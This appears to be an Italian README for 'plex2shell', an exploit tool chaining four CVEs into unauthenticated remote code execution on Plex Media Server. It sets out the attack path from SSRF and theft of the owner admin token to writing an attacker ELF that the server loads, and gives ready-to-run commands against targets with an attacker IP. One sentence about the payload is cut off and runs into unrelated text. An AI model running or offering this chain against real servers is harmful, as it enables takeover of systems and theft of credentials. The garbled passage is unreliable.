
CVE-2026-96652 CVE-2026-96654 CVE-2026-96655 CVE-2026-96656
Catena RCE non autenticata per Plex Media Server 1.43.3.10828 e versioni precedenti.
CVSS 3.1: 10.0 AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Write-up: https://zmain.info/blog/plex2shell
Questo strumento è pubblicato esclusivamente per test di sicurezza autorizzati, ricerca accademica e scopi difensivi. Usalo solo contro sistemi di tua proprietà o per i quali hai esplicita autorizzazione scritta a eseguire test. Gli autori non sono responsabili per abusi o danni causati da questo strumento. L'accesso non autorizzato a sistemi informatici è illegale.
| CVE | Primitive |
|---|---|
| CVE-2026-96652 | SSRF non autenticata tramite /player/timeline protocol= |
| CVE-2026-96654 | Pivot su loopback: guardia di autenticazione non funzionante + iniezione identifier= in searchOne |
| CVE-2026-96655 | SSRF del transcoder autenticata come owner + scrittura di file su percorso arbitrario (dump-yuv) |
| CVE-2026-96656 | Esecuzione di codice tramite dlopen di codec non firmato nella set-dir dei Codecs |
[internet nudo, token spazzatura]
|
(1) /player/timeline --- SSRF ---> origine loopback
|
(2) /system/agents/.../searchOne --- iniezione identifier= --->
| RPC cross-plugin
|
(3) networking.py:149 --- confusione sul prefisso 127.0.0.1.* --->
| esfiltrazione del token admin owner
v
l'attaccante possiede il token admin OWNER
|
(4) /video/:/transcode/universal?path=<url> --- SSRF del transcoder --->
| recupero media dell'attaccante
|
(5) TranscoderH264Options=dump-yuv --- x264 scrive l'ELF dell'attaccante
| nella set-dir dei Codecs
v
secondo transcode -> esegue dlopen() su ogni *.so -> il costruttore viene eseguito
v
[uid=1000(plex)]
Il payload è la luma del frame 0 di un carrier lossless (qp=0) che il
ffmpeg, gcc (o x86_64-w64-mingw32-gcc per target Windows)# Linux nativo (.deb/.rpm):
python3 plex2shell.py --target 10.0.0.5:32400 --attacker-ip 10.0.0.9
# Docker:
python3 plex2shell.py --target-os linux-docker --target 10.0.0.5:32400 --attacker-ip 10.0.0.9
# Windows:
python3 plex2shell.py --target-os windows --target 10.0.0.5:32400 --attacker-ip 10.0.0.9
# One-shot:
python3 plex2shell.py --target 10.0.0.5:32400 --attacker-ip 10.0.0.9 --exec "id; hostname"
--help per tutto il resto.
GPLv3